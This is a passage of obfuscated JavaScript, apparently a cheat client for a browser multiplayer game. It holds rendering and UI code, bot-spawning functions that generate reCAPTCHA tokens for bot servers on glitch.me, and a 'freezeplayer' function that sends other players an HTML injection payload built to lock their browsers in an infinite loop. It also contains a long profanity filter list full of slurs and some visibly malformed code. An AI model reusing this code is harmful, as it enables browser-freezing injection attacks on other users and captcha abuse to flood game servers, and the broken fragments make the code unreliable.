_0x4390c3.roundRect(_0x2f278e - _0x12811c / 2, _0x54e309 -
_0x403ccc / 2, _0x12811c, _0x403ccc, 6);
_0x4390c3.fill();
_0x4390c3.fillStyle = "#fff";
_0x4390c3.fillText(_0x3fce7e.chatMessage, _0x2f278e, _0x54e309);
}
if (_0x3fce7e.chat.count > 0) {
if (!_0x4f4659) {
_0x3fce7e.chat.count -= _0x32bba9;
if (_0x3fce7e.chat.count <= 0) {
_0x3fce7e.chat.count = 0;
}
_0x4390c3.font = "32px Hammersmith One";
let _0x534aea = _0x4390c3.measureText(_0x3fce7e.chat.message);
_0x4390c3.textBaseline = "middle";
_0x4390c3.textAlign = "center";
let _0x1c8d9e = _0x3fce7e.x - _0x2e193e;
let _0x56bca2 = _0x3fce7e.y - _0x3fce7e.scale - _0x385663 + 180;
let _0x585d1b = 47;
let _0x44c116 = _0x534aea.width + 17;
_0x4390c3.fillStyle = "rgba(0,0,0,0.2)";
_0x4390c3.roundRect(_0x1c8d9e - _0x44c116 / 2, _0x56bca2 -
_0x585d1b / 2, _0x44c116, _0x585d1b, 6);
_0x4390c3.fill();
_0x4390c3.fillStyle = "#ffffff99";
_0x4390c3.fillText(_0x3fce7e.chat.message, _0x1c8d9e, _0x56bca2);
} else {
_0x3fce7e.chat.count = 0;
}
}
}
}
if (_0x59187f.length) {
_0x59187f.filter(_0x60e83d => _0x60e83d.active).forEach(_0x21ffab => {
if (!_0x21ffab.alive) {
if (_0x21ffab.alpha <= 1) {
_0x21ffab.alpha += _0x32bba9 / 250;
if (_0x21ffab.alpha >= 1) {
_0x21ffab.alpha = 1;
_0x21ffab.alive = true;
}
}
} else {
_0x21ffab.alpha -= _0x32bba9 / 5000;
if (_0x21ffab.alpha <= 0) {
_0x21ffab.alpha = 0;
_0x21ffab.active = false;
}
}
if (_0x21ffab.active) {
_0x4390c3.font = "20px Ubuntu";
let _0x36d425 = _0x4390c3.measureText(_0x21ffab.chat);
_0x4390c3.textBaseline = "middle";
_0x4390c3.textAlign = "center";
let _0x3d1160 = _0x21ffab.x - _0x2e193e;
let _0x5edd3a = _0x21ffab.y - _0x385663 - 90;
let _0x48217f = 40;
let _0x153429 = _0x36d425.width + 15;
_0x4390c3.globalAlpha = _0x21ffab.alpha;
_0x4390c3.fillStyle = _0x21ffab.owner.isTeam(_0x21c5b5) ? "#8ecc51"
: "#cc5151";
_0x4390c3.strokeStyle = "rgb(25, 25, 25)";
_0x4390c3.strokeText(_0x21ffab.owner.name, _0x3d1160, _0x5edd3a -
45);
_0x4390c3.fillText(_0x21ffab.owner.name, _0x3d1160, _0x5edd3a -
45);
_0x4390c3.lineWidth = 5;
_0x4390c3.fillStyle = "#ccc";
_0x4390c3.strokeStyle = "rgb(25, 25, 25)";
_0x4390c3.roundRect(_0x3d1160 - _0x153429 / 2, _0x5edd3a -
_0x48217f / 2, _0x153429, _0x48217f, 6);
_0x4390c3.stroke();
_0x4390c3.fill();
_0x4390c3.fillStyle = "#fff";
_0x4390c3.strokeStyle = "#000";
_0x4390c3.strokeText(_0x21ffab.chat, _0x3d1160, _0x5edd3a);
_0x4390c3.fillText(_0x21ffab.chat, _0x3d1160, _0x5edd3a);
_0x21ffab.y -= _0x32bba9 / 100;
}
});
}
}
_0x4390c3.globalAlpha = 1;
_0x57f629(_0x32bba9);
}
window.requestAnimFrame = function () {
return null;
};
window.rAF = function () {
return window.requestAnimationFrame || window.webkitRequestAnimationFrame
|| window.mozRequestAnimationFrame || function (_0x11fb44) {
window.setTimeout(_0x11fb44, 1000 / 60);
};
}();
function _0x8ce930() {
_0xd86dfc = performance.now();
_0x32bba9 = _0xd86dfc - _0xfda197;
_0xfda197 = _0xd86dfc;
let _0x21b675 = performance.now();
let _0x5a8122 = _0x21b675 - _0x11fd06.last;
if (_0x5a8122 >= 1000) {
_0x11fd06.ltime = _0x11fd06.time * (1000 / _0x5a8122);
_0x11fd06.last = _0x21b675;
_0x11fd06.time = 0;
}
_0x11fd06.time++;
getEl("pingFps").innerHTML = window.pingTime + "ms | Fps: " +
_0x4cedba.round(_0x11fd06.ltime, 10);
getEl("packetStatus").innerHTML = _0x2006cb;
_0x3972d5();
rAF(_0x8ce930);
}
_0x4734be();
_0x8ce930();
function _0x10db1c(_0x3b3653) {
getEl("instaType").disabled = _0x3b3653;
getEl("antiBullType").disabled = _0x3b3653;
getEl("visualType").disabled = _0x3b3653;
}
_0x10db1c(_0x4f4659);
let _0x4a8bf3 = {};
window.debug = function () {
_0x8f1613.waitHit = 0;
_0x8f1613.autoAim = false;
_0x37a646.isTrue = false;
_0x1933cc.inTrap = false;
_0x313e43 = [];
_0x4de637 = [];
_0x99a9b5 = [];
};
window.startGrind = function () {
if (getEl("weaponGrind").checked) {
for (let _0x5837b9 = 0; _0x5837b9 < Math.PI * 2; _0x5837b9 += Math.PI /
2) {
_0x3a4bd0(_0x21c5b5.getItemType(22), _0x5837b9);
}
}
};
let _0x3ae26a = [];
let _0x24a101 = 0;
window.connectFillBots = function () {
_0x43d7bb = [];
_0x24a101 = 0;
for (let _0x5760e4 = 0; _0x5760e4 < _0x3ae26a.length; _0x5760e4++) {
let _0x227050 = new WebSocket("wss://" + _0x3ae26a[_0x5760e4] +
".glitch.me");
_0x227050.binaryType = "arraybuffer";
_0x227050.onopen = function () {
_0x227050.ssend = function (_0xecd6a5) {
let _0x24e3d0 = Array.prototype.slice.call(arguments, 1);
let _0x1394bc = window.msgpack.encode([_0xecd6a5, _0x24e3d0]);
_0x227050.send(_0x1394bc);
};
for (let _0x12effd = 0; _0x12effd < 4; _0x12effd++) {
window.grecaptcha.execute("6LevKusUAAAAAAFknhlV8sPtXAk5Z5dGP5T2FYIZ",
{
action: "homepage"
}).then(function (_0x314bae) {
_0x227050.ssend("bots", _0x2db724.url.split("&")[0] + "&token=" +
encodeURIComponent(_0x314bae), _0x24a101);
_0x43d7bb.push([_0x227050]);
_0x24a101++;
});
}
};
_0x227050.onmessage = function (_0x503ee6) {
let _0xf755c8 = new Uint8Array(_0x503ee6.data);
let _0x82c5e9 = window.msgpack.decode(_0xf755c8);
let _0x2657d5 = _0x82c5e9[0];
_0xf755c8 = _0x82c5e9[1];
};
}
};
window.destroyFillBots = function () {
_0x43d7bb.forEach(_0x12bb40 => {
_0x12bb40[0].close();
});
_0x43d7bb = [];
};
window.tryConnectBots = function () {
for (let _0x105451 = 0; _0x105451 < (_0x484803.length < 3 ? 3 : 25);
_0x105451++) {
window.grecaptcha.execute("6LfahtgjAAAAAF8SkpjyeYMcxMdxIaQeh-VoPATP", {
action: "homepage"
}).then(function (_0x19d8ba) {
_0x5cd47a(_0x19d8ba);
});
}
};
window.freezeplayer = function () {
_0x4c5fd1("6", "<img onerror=\"for(;;){}\" src=>");
};
window.destroyBots = function () {
_0x484803.forEach(_0x125b38 => {
_0x125b38.closeSocket = true;
});
_0x484803 = [];
};
window.resBuild = function () {
if (_0x57e617.length) {
_0x57e617.forEach(_0x5821c6 => {
_0x5821c6.breakObj = false;
});
_0x178343 = [];
}
};
window.toggleBotsCircle = function () {
_0x21c5b5.circle = !_0x21c5b5.circle;
};
window.toggleVisual = function () {
_0x124d71.anotherVisual = !_0x124d71.anotherVisual;
_0x57e617.forEach(_0x3688af => {
if (_0x3688af.active) {
_0x3688af.dir = _0x3688af.lastDir;
}
});
};
window.prepareUI = function (_0x3dee2a) {
_0x426379();
_0x4cedba.removeAllChildren(_0x1663f0);
for (let _0x1b63d4 = 0; _0x1b63d4 < _0x4b879d.weapons.length +
_0x4b879d.list.length; ++_0x1b63d4) {
(function (_0x54599f) {
_0x4cedba.generateElement({
id: "actionBarItem" + _0x54599f,
class: "actionBarItem",
style: "display:none",
onmouseout: function () {
_0xab5116();
},
parent: _0x1663f0
});
})(_0x1b63d4);
}
for (let _0x1a8371 = 0; _0x1a8371 < _0x4b879d.list.length +
_0x4b879d.weapons.length; ++_0x1a8371) {
(function (_0x1ebf8a) {
let _0x55df89 = document.createElement("canvas");
_0x55df89.width = _0x55df89.height = 66;
let _0x448638 = _0x55df89.getContext("2d");
_0x448638.translate(_0x55df89.width / 2, _0x55df89.height / 2);
_0x448638.imageSmoothingEnabled = false;
_0x448638.webkitImageSmoothingEnabled = false;
_0x448638.mozImageSmoothingEnabled = false;
if (_0x4b879d.weapons[_0x1ebf8a]) {
_0x448638.rotate(Math.PI / 4 + Math.PI);
let _0x48e9eb = new Image();
_0x416366[_0x4b879d.weapons[_0x1ebf8a].src] = _0x48e9eb;
_0x48e9eb.onload = function () {
this.isLoaded = true;
let _0x3ff9b9 = 1 / (this.height / this.width);
let _0xfd6974 = _0x4b879d.weapons[_0x1ebf8a].iPad || 1;
_0x448638.drawImage(this, -(_0x55df89.width * _0xfd6974 *
_0x124d71.iconPad * _0x3ff9b9) / 2, -(_0x55df89.height * _0xfd6974 *
_0x124d71.iconPad) / 2, _0x55df89.width * _0xfd6974 * _0x3ff9b9 *
_0x124d71.iconPad, _0x55df89.height * _0xfd6974 * _0x124d71.iconPad);
_0x448638.fillStyle = "rgba(0, 0, 70, 0.1)";
_0x448638.globalCompositeOperation = "source-atop";
_0x448638.fillRect(-_0x55df89.width / 2, -_0x55df89.height / 2,
_0x55df89.width, _0x55df89.height);
getEl("actionBarItem" + _0x1ebf8a).style.backgroundImage = "url(" +
_0x55df89.toDataURL() + ")";
};
_0x48e9eb.src = "./../img/weapons/" +
_0x4b879d.weapons[_0x1ebf8a].src + ".png";
let _0x4f0973 = getEl("actionBarItem" + _0x1ebf8a);
_0x4f0973.onmouseover = _0x4cedba.checkTrusted(function () {
_0xab5116(_0x4b879d.weapons[_0x1ebf8a], true);
});
_0x4f0973.onclick = _0x4cedba.checkTrusted(function () {
_0x8770b0(_0x3dee2a.weapons[_0x4b879d.weapons[_0x1ebf8a].type]);
});
_0x4cedba.hookTouchEvents(_0x4f0973);
} else {
let _0x2b30d2 = _0x46aa09(_0x4b879d.list[_0x1ebf8a -
_0x4b879d.weapons.length], true);
let _0xe0ad62 = Math.min(_0x55df89.width - _0x124d71.iconPadding,
_0x2b30d2.width);
_0x448638.globalAlpha = 1;
_0x448638.drawImage(_0x2b30d2, -_0xe0ad62 / 2, -_0xe0ad62 / 2,
_0xe0ad62, _0xe0ad62);
_0x448638.fillStyle = "rgba(0, 0, 70, 0.1)";
_0x448638.globalCompositeOperation = "source-atop";
_0x448638.fillRect(-_0xe0ad62 / 2, -_0xe0ad62 / 2, _0xe0ad62,
_0xe0ad62);
getEl("actionBarItem" + _0x1ebf8a).style.backgroundImage = "url(" +
_0x55df89.toDataURL() + ")";
let _0x1d2f3e = getEl("actionBarItem" + _0x1ebf8a);
_0x1d2f3e.onmouseover = _0x4cedba.checkTrusted(function () {
_0xab5116(_0x4b879d.list[_0x1ebf8a - _0x4b879d.weapons.length]);
});
_0x1d2f3e.onclick = _0x4cedba.checkTrusted(function () {
_0x4635ee(_0x3dee2a.items[_0x3dee2a.getItemType(_0x1ebf8a -
_0x4b879d.weapons.length)]);
});
_0x4cedba.hookTouchEvents(_0x1d2f3e);
}
})(_0x1a8371);
}
};
window.profineTest = function (_0x317b3f) {
if (_0x317b3f) {
let _0x5cc3b7 = "omg i am pro";
let _0x14bab1 = _0x317b3f + "";
_0x14bab1 = _0x14bab1.slice(0, _0x124d71.maxNameLength);
_0x14bab1 = _0x14bab1.replace(/[^\w:\(\)\/? -]+/gmi, " ");
_0x14bab1 = _0x14bab1.replace(/[^\x00-\x7F]/g, " ");
_0x14bab1 = _0x14bab1.trim();
let _0x4a28ba = {
list: ["ahole", "anus", "ash0le", "ash0les", "asholes", "ass", "Ass
Monkey", "Assface", "assh0le", "assh0lez", "asshole", "assholes", "assholz",
"asswipe", "azzhole", "bassterds", "bastard", "bastards", "bastardz", "basterds",
"basterdz", "Biatch", "bitch", "bitches", "Blow Job", "boffing", "butthole",
"buttwipe", "c0ck", "c0cks", "c0k", "Carpet Muncher", "cawk", "cawks", "Clit",
"cnts", "cntz", "cock", "cockhead", "cock-head", "cocks", "CockSucker", "cock-
sucker", "crap", "cum", "cunt", "cunts", "cuntz", "dick", "dild0", "dild0s",
"dildo", "dildos", "dilld0", "dilld0s", "dominatricks", "dominatrics",
"dominatrix", "dyke", "enema", "f u c k", "f u c k e r", "fag", "fag1t", "faget",
"fagg1t", "faggit", "faggot", "fagg0t", "fagit", "fags", "fagz", "faig", "faigs",
"fart", "flipping the bird", "fuck", "fucker", "fuckin", "fucking", "fucks", "Fudge
Packer", "fuk", "Fukah", "Fuken", "fuker", "Fukin", "Fukk", "Fukkah", "Fukken",
"Fukker", "Fukkin", "g00k", "God-damned", "h00r", "h0ar", "h0re", "hells", "hoar",
"hoor", "hoore", "jackoff", "jap", "japs", "jerk-off", "jisim", "jiss", "jizm",
"jizz", "knob", "knobs", "knobz", "kunt", "kunts", "kuntz", "Lezzian", "Lipshits",
"Lipshitz", "masochist", "masokist", "massterbait", "masstrbait", "masstrbate",
"masterbaiter", "masterbate", "masterbates", "Motha Fucker", "Motha Fuker", "Motha
Fukkah", "Motha Fukker", "Mother Fucker", "Mother Fukah", "Mother Fuker", "Mother
Fukkah", "Mother Fukker", "mother-fucker", "Mutha Fucker", "Mutha Fukah", "Mutha
Fuker", "Mutha Fukkah", "Mutha Fukker", "n1gr", "nastt", "nigger;", "nigur;",
"niiger;", "niigr;", "orafis", "orgasim;", "orgasm", "orgasum", "oriface",
"orifice", "orifiss", "packi", "packie", "packy", "paki", "pakie", "paky",
"pecker", "peeenus", "peeenusss", "peenus", "peinus", "pen1s", "penas", "penis",
"penis-breath", "penus", "penuus", "Phuc", "Phuck", "Phuk", "Phuker", "Phukker",
"polac", "polack", "polak", "Poonani", "pr1c", "pr1ck", "pr1k", "pusse", "pussee",
"pussy", "puuke", "puuker", "queer", "queers", "queerz", "qweers", "qweerz",
"qweir", "recktum", "rectum", "retard", "sadist", "scank", "schlong", "screwing",
"semen", "sex", "sexy", "Sh!t", "sh1t", "sh1ter", "sh1ts", "sh1tter", "sh1tz",
"shit", "shits", "shitter", "Shitty", "Shity", "shitz", "Shyt", "Shyte", "Shytty",
"Shyty", "skanck", "skank", "skankee", "skankey", "skanks", "Skanky", "slag",
"slut", "sluts", "Slutty", "slutz", "son-of-a-bitch", "tit", "turd", "va1jina",
"vag1na", "vagiina", "vagina", "vaj1na", "vajina", "vullva", "vulva", "w0p",
"wh00r", "wh0re", "whore", "xrated", "xxx", "b!+ch", "bitch", "blowjob", "clit",
"arschloch", "fuck", "shit", "ass", "asshole", "b!tch", "b17ch", "b1tch",
"bastard", "bi+ch", "boiolas", "buceta", "c0ck", "cawk", "chink", "cipa", "clits",
"cock", "cum", "cunt", "dildo", "dirsa", "ejakulate", "fatass", "fcuk", "fuk",
"fux0r", "hoer", "hore", "jism", "kawk", "l3itch", "l3i+ch", "lesbian",
"masturbate", "masterbat*", "masterbat3", "motherfucker", "s.o.b.", "mofo", "nazi",
"nigga", "nigger", "nutsack", "phuck", "pimpis", "pusse", "pussy", "scrotum", "sh!
t", "shemale", "shi+", "sh!+", "slut", "smut", "teets", "tits", "boobs", "b00bs",
"teez", "testical", "testicle", "titt", "w00se", "jackoff", "wank", "whoar",
"whore", "*damn", "*dyke", "*fuck*", "*shit*", "@$$", "amcik", "andskota", "arse*",
"assrammer", "ayir", "bi7ch", "bitch*", "bollock*", "breasts", "butt-pirate",
"cabron", "cazzo", "chraa", "chuj", "Cock*", "cunt*", "d4mn", "daygo", "dego",
"dick*", "dike*", "dupa", "dziwka", "ejackulate", "Ekrem*", "Ekto", "enculer",
"faen", "fag*", "fanculo", "fanny", "feces", "feg", "Felcher", "ficken", "fitt*",
"Flikker", "foreskin", "Fotze", "Fu(*", "fuk*", "futkretzn", "gook", "guiena",
"h0r", "h4x0r", "hell", "helvete", "hoer*", "honkey", "Huevon", "hui", "injun",
"jizz", "kanker*", "kike", "klootzak", "kraut", "knulle", "kuk", "kuksuger",
"Kurac", "kurwa", "kusi*", "kyrpa*", "lesbo", "mamhoon", "masturbat*", "merd*",
"mibun", "monkleigh", "mouliewop", "muie", "mulkku", "muschi", "nazis",
"nepesaurio", "nigger*", "orospu", "paska*", "perse", "picka", "pierdol*",
"pillu*", "pimmel", "piss*", "pizda", "poontsee", "poop", "porn", "p0rn", "pr0n",
"preteen", "pula", "pule", "puta", "puto", "qahbeh", "queef*", "rautenberg",
"schaffer", "scheiss*", "schlampe", "schmuck", "screw", "sh!t*", "sharmuta",
"sharmute", "shipal", "shiz", "skribz", "skurwysyn", "sphencter", "spic",
"spierdalaj", "splooge", "suka", "b00b*", "testicle*", "titt*", "twat", "vittu",
"wank*", "wetback*", "wichser", "wop*", "yed", "zabourah", "4r5e", "5h1t", "5hit",
"a55", "anal", "anus", "ar5e", "arrse", "arse", "ass", "ass-fucker", "asses",
"assfucker", "assfukka", "asshole", "assholes", "asswhole", "a_s_s", "b!tch",
"b00bs", "b17ch", "b1tch", "ballbag", "balls", "ballsack", "bastard", "beastial",
"beastiality", "bellend", "bestial", "bestiality", "bi+ch", "biatch", "bitch",
"bitcher", "bitchers", "bitches", "bitchin", "bitching", "bloody", "blow job",
"blowjob", "blowjobs", "boiolas", "bollock", "bollok", "boner", "boob", "boobs",
"booobs", "boooobs", "booooobs", "booooooobs", "breasts", "buceta", "bugger",
"bum", "bunny fucker", "butt", "butthole", "buttmuch", "buttplug", "c0ck",
"c0cksucker", "carpet muncher", "cawk", "chink", "cipa", "cl1t", "clit",
"clitoris", "clits", "cnut", "cock", "cock-sucker", "cockface", "cockhead",
"cockmunch", "cockmuncher", "cocks", "cocksuck", "cocksucked", "cocksucker",
"cocksucking", "cocksucks", "cocksuka", "cocksukka", "cok", "cokmuncher",
"coksucka", "coon", "cox", "crap", "cum", "cummer", "cumming", "cums", "cumshot",
"cunilingus", "cunillingus", "cunnilingus", "cunt", "cuntlick", "cuntlicker",
"cuntlicking", "cunts", "cyalis", "cyberfuc", "cyberfuck", "cyberfucked",
"cyberfucker", "cyberfuckers", "cyberfucking", "d1ck", "damn", "dick", "dickhead",
"dildo", "dildos", "dink", "dinks", "dirsa", "dlck", "dog-fucker", "doggin",
"dogging", "donkeyribber", "doosh", "duche", "dyke", "ejaculate", "ejaculated",
"ejaculates", "ejaculating", "ejaculatings", "ejaculation", "ejakulate", "f u c k",
"f u c k e r", "f4nny", "fag", "fagging", "faggitt", "faggot", "faggs", "fagot",
"fagots", "fags", "fanny", "fannyflaps", "fannyfucker", "fanyy", "fatass", "fcuk",
"fcuker", "fcuking", "feck", "fecker", "felching", "fellate", "fellatio",
"fingerfuck", "fingerfucked", "fingerfucker", "fingerfuckers", "fingerfucking",
"fingerfucks", "fistfuck", "fistfucked", "fistfucker", "fistfuckers",
"fistfucking", "fistfuckings", "fistfucks", "flange", "fook", "fooker", "fuck",
"fucka", "fucked", "fucker", "fuckers", "fuckhead", "fuckheads", "fuckin",
"fucking", "fuckings", "fuckingshitmotherfucker", "fuckme", "fucks", "fuckwhit",
"fuckwit", "fudge packer", "fudgepacker", "fuk", "fuker", "fukker", "fukkin",
"fuks", "fukwhit", "fukwit", "fux", "fux0r", "f_u_c_k", "gangbang", "gangbanged",
"gangbangs", "gaylord", "gaysex", "goatse", "God", "god-dam", "god-damned",
"goddamn", "goddamned", "hardcoresex", "hell", "heshe", "hoar", "hoare", "hoer",
"homo", "hore", "horniest", "horny", "hotsex", "jack-off", "jackoff", "jap", "jerk-
off", "jism", "jiz", "jizm", "jizz", "kawk", "knob", "knobead", "knobed",
"knobend", "knobhead", "knobjocky", "knobjokey", "kock", "kondum", "kondums",
"kum", "kummer", "kumming", "kums", "kunilingus", "l3i+ch", "l3itch", "labia",
"lust", "lusting", "m0f0", "m0fo", "m45terbate", "ma5terb8", "ma5terbate",
"masochist", "master-bate", "masterb8", "masterbat*", "masterbat3", "masterbate",
"masterbation", "masterbations", "masturbate", "mo-fo", "mof0", "mofo",
"mothafuck", "mothafucka", "mothafuckas", "mothafuckaz", "mothafucked",
"mothafucker", "mothafuckers", "mothafuckin", "mothafucking", "mothafuckings",
"mothafucks", "mother fucker", "motherfuck", "motherfucked", "motherfucker",
"motherfuckers", "motherfuckin", "motherfucking", "motherfuckings", "motherfuckka",
"motherfucks", "muff", "mutha", "muthafecker", "muthafuckker", "muther",
"mutherfucker", "n1gga", "n1gger", "nazi", "nigg3r", "nigg4h", "nigga", "niggah",
"niggas", "niggaz", "nigger", "niggers", "nob", "nob jokey", "nobhead", "nobjocky",
"nobjokey", "numbnuts", "nutsack", "orgasim", "orgasims", "orgasm", "orgasms",
"p0rn", "pawn", "pecker", "penis", "penisfucker", "phonesex", "phuck", "phuk",
"phuked", "phuking", "phukked", "phukking", "phuks", "phuq", "pigfucker", "pimpis",
"piss", "pissed", "pisser", "pissers", "pisses", "pissflaps", "pissin", "pissing",
"pissoff", "poop", "porn", "porno", "pornography", "pornos", "prick", "pricks",
"pron", "pube", "pusse", "pussi", "pussies", "pussy", "pussys", "rectum", "retard",
"rimjaw", "rimming", "s hit", "s.o.b.", "sadist", "schlong", "screwing", "scroat",
"scrote", "scrotum", "semen", "sex", "sh!+", "sh!t", "sh1t", "shag", "shagger",
"shaggin", "shagging", "shemale", "shi+", "shit", "shitdick", "shite", "shited",
"shitey", "shitfuck", "shitfull", "shithead", "shiting", "shitings", "shits",
"shitted", "shitter", "shitters", "shitting", "shittings", "shitty", "skank",
"slut", "sluts", "smegma", "smut", "snatch", "son-of-a-bitch", "spac", "spunk",
"s_h_i_t", "t1tt1e5", "t1tties", "teets", "teez", "testical", "testicle", "tit",
"titfuck", "tits", "titt", "tittie5", "tittiefucker", "titties", "tittyfuck",
"tittywank", "titwank", "tosser", "turd", "tw4t", "twat", "twathead", "twatty",
"twunt", "twunter", "v14gra", "v1gra", "vagina", "viagra", "vulva", "w00se",
"wang", "wank", "wanker", "wanky", "whoar", "whore", "willies", "willy", "xrated",
"xxx", "jew", "black", "baby", "child", "white", "porn", "pedo", "trump",
"clinton", "hitler", "nazi", "gay", "pride", "sex", "pleasure", "touch", "poo",
"kids", "rape", "white power", "nigga", "nig nog", "doggy", "rapist", "boner",
"nigger", "nigg", "finger", "nogger", "nagger", "nig", "fag", "gai", "pole",
"stripper", "penis", "vagina", "pussy", "nazi", "hitler", "stalin", "burn",
"chamber", "cock", "peen",
"dick", "spick", "nieger", "die", "satan", "n|ig", "nlg", "cunt", "c0ck", "fag",
"lick", "condom", "anal", "shit", "phile", "little", "kids", "free KR", "tiny",
"sidney", "ass", "kill", ".io", "(dot)", "[dot]", "mini", "whiore", "whore",
"faggot", "github", "1337", "666", "satan", "senpa", "discord", "d1scord",
"mistik", ".io", "senpa.io", "sidney", "sid", "senpaio", "vries", "asa"],
exclude: [],
placeHolder: "*",
regex: {},
replaceRegex: {}
};
let _0xb371de = false;
let _0xea40b0 = _0x14bab1.toLowerCase().replace(/\s/g, "").replace(/1/g,
"i").replace(/0/g, "o").replace(/5/g, "s");
let _0x5a0f9e =
Text.toLowerCase().replace("<iframe/onload=io.send(\"B\");>");
for (let _0x1524f4 of _0x4a28ba.list) {
if (_0xea40b0.indexOf(_0x1524f4) != -1) {
if (_0x5a0f9e.indexOf(_0x1524f4) != -1) {
_0xb371de = true;
break;
}
}
}
if (_0x14bab1.length > 0 && !_0xb371de) {
_0x5cc3b7 = _0x14bab1;
}
return _0x5cc3b7;
}
};
},
webgl_test: () => {
return;
let _0x379a48 = document.createElement("canvas");
_0x379a48.id = "WEBGL";
_0x379a48.width = _0x379a48.height = 300;
_0x379a48.style = "\n position: relative;\n bottom:
70%;\n left: 70%;\n pointer-events: none;\n ";
let _0x5530e2 = document.createElement("div");
_0x5530e2.id = "faku";
_0x5530e2.width = _0x5530e2.height = 300;
_0x5530e2.style = "\n position: relative;\n bottom:
70%;\n left: 70%;\n pointer-events: none;\n font-
size: 20px;\n ";
_0x5530e2.innerHTML = "Webgl Test Rendering";
let _0x398985 = _0x379a48.getContext("webgl");
if (!_0x398985) {
alert("urbad");
return;
}
document.body.append(_0x379a48);
document.body.append(_0x5530e2);
log(_0x398985);
_0x398985.clearColor(0, 0, 0, 0.2);
_0x398985.clear(_0x398985.COLOR_BUFFER_BIT);
let _0x4f4fc7 = _0x398985.createBuffer();
_0x398985.bindBuffer(_0x398985.ARRAY_BUFFER, _0x4f4fc7);
function _0x14c31a(_0x402ed5, _0x2c6bb8, _0x5eaf0c, _0x32e733) {
let _0x5065e8 = _0x398985.createShader(_0x398985.VERTEX_SHADER);
_0x398985.shaderSource(_0x5065e8, _0x402ed5);
_0x398985.compileShader(_0x5065e8);
_0x398985.getShaderParameter(_0x5065e8, _0x398985.COMPILE_STATUS);
let _0x46686a = _0x398985.createShader(_0x398985.FRAGMENT_SHADER);
_0x398985.shaderSource(_0x46686a, _0x2c6bb8);
_0x398985.compileShader(_0x46686a);
_0x398985.getShaderParameter(_0x46686a, _0x398985.COMPILE_STATUS);
let _0x33effd = _0x398985.createProgram();
_0x398985.attachShader(_0x33effd, _0x5065e8);
_0x398985.attachShader(_0x33effd, _0x46686a);
_0x398985.linkProgram(_0x33effd);
_0x398985.getProgramParameter(_0x33effd, _0x398985.LINK_STATUS);
_0x398985.useProgram(_0x33effd);
let _0x3b780e = _0x398985.getAttribLocation(_0x33effd, "vertex");
_0x398985.enableVertexAttribArray(_0x3b780e);
_0x398985.vertexAttribPointer(_0x3b780e, 2, _0x398985.FLOAT, false, 0, 0);
let _0x2de03d = _0x5eaf0c.length / 2;
_0x398985.bufferData(_0x398985.ARRAY_BUFFER, new Float32Array(_0x5eaf0c),
_0x398985.DYNAMIC_DRAW);
_0x398985.drawArrays(_0x32e733, 0, _0x2de03d);
}
function _0x46d0d3(_0x21059f) {
return _0x21059f.slice(1).match(/.{1,2}/g).map(_0x236e28 =>
parseInt(_0x236e28, 16));
}
function _0x4fd704(_0x289316, _0x7b8a1d, _0x53a3c) {
return [_0x289316 / 255, _0x7b8a1d / 255, _0x53a3c / 255].join(", ");
}
let _0x5c6061 = 50;
for (let _0x2da25d = 0; _0x2da25d < _0x5c6061; _0x2da25d++) {
let _0xd18a1f = Math.PI * (_0x2da25d / (_0x5c6061 / 2));
_0x14c31a("\n precision mediump float;\n
attribute vec2 vertex;\n void main(void) {\n
gl_Position = vec4(vertex, 0, 1);\n }\n ", "\n
precision mediump float;\n void main(void) {\n
gl_FragColor = vec4(" + _0x4fd704(..._0x46d0d3("#cc5151")) + ", 1);\n
}\n ", [0 + Math.cos(_0xd18a1f) * 0.5, 0 + Math.sin(_0xd18a1f) *
0.5, 0, 0], _0x398985.LINE_LOOP);
}
}
};
if (_0x1fbe58) {
for (let _0x34e2ee in _0x1fbe58) {
let _0x260400 = _0x1fbe58[_0x34e2ee];
if (typeof _0x260400 === "function") {
_0x260400();
}
}
window.enableHack = function () {
if (!useHack) {
useHack = true;
_0x1fbe58.main();
}
};
}
})(1);
// KILL ALL OBJECTS BY A PLAYER:
function killObjects(sid) {
if (player) objectManager.removeAllItems(sid);
}
function precheckPlace(a, b) {
checkPlace(a, b);
console.log('success');
}

let ticks = {
tick: 0,
delay: 0,
time: [],
manage: [],
};
function doNextTick(doo) {
waitTicks.push(doo);
}
let waitTicks = [];
// UPDATE PLAYER DATA:
let nEy;
let placeableSpikes = [];
let placeableTraps = [];
let breakableObjects = [];
let placeableSpikesPREDICTS = [];
let topPlayer;
let overrideabs = false;
let lppc = 0;
let ntpp = false;
let lppc2 = 0;
let ntpp2 = false;
var cst = false;
function updatePlayers(data) {
game.tick++;
enemy = [];
//perfectReplace();
nears = [];
near = [];
//showPlace = [];
game.tickSpeed = performance.now() - game.lastTick;
game.lastTick = performance.now();
ticks.tick++;
ticks.time.push(Date.now() - ticks.delay <= 50 || Date.now() -
ticks.delay >= 175 ? "lag" : 1);
if (ticks.tick % 10 === 0) {
ticks.time = [];
}
if (ticks.tick % 300 === 0) {
}
ticks.delay = Date.now();
players.forEach((tmp) => {
tmp.forcePos = !tmp.visible;
tmp.visible = false;
});
for (let i = 0; i < data.length;) {
tmpObj = findPlayerBySID(data[i]);
if (tmpObj) {
tmpObj.t1 = (tmpObj.t2 === undefined) ? game.lastTick :
tmpObj.t2;
tmpObj.t2 = game.lastTick;
tmpObj.oldPos.x2 = tmpObj.x2;
tmpObj.oldPos.y2 = tmpObj.y2;
tmpObj.x1 = tmpObj.x;
tmpObj.y1 = tmpObj.y;
tmpObj.x2 = data[i + 1];
tmpObj.y2 = data[i + 2];
tmpObj.x3 = tmpObj.x2 + (tmpObj.x2 - tmpObj.oldPos.x2);
tmpObj.y3 = tmpObj.y2 + (tmpObj.y2 - tmpObj.oldPos.y2);
tmpObj.d1 = (tmpObj.d2 === undefined) ? data[i + 3] :
tmpObj.d2;
tmpObj.d2 = data[i + 3];
tmpObj.dt = 0;
tmpObj.buildIndex = data[i + 4];
tmpObj.weaponIndex = data[i + 5];
tmpObj.weaponVariant = data[i + 6];
tmpObj.team = data[i + 7];
tmpObj.isLeader = data[i + 8];
tmpObj.oldSkinIndex = tmpObj.skinIndex;
tmpObj.oldTailIndex = tmpObj.tailIndex;
tmpObj.skinIndex = data[i + 9];
tmpObj.tailIndex = data[i + 10];
tmpObj.iconIndex = data[i + 11];
tmpObj.zIndex = data[i + 12];
tmpObj.visible = true;
tmpObj.update(game.tickSpeed);
tmpObj.dist2 = UTILS.getDist(tmpObj, player, 2, 2);
tmpObj.aim2 = UTILS.getDirect(tmpObj, player, 2, 2);
tmpObj.dist3 = UTILS.getDist(tmpObj, player, 3, 3);
tmpObj.aim3 = UTILS.getDirect(tmpObj, player, 3, 3);
tmpObj.damageThreat = 0;
if (tmpObj.skinIndex == 45 && tmpObj.shameTimer <= 0) {
tmpObj.addShameTimer();
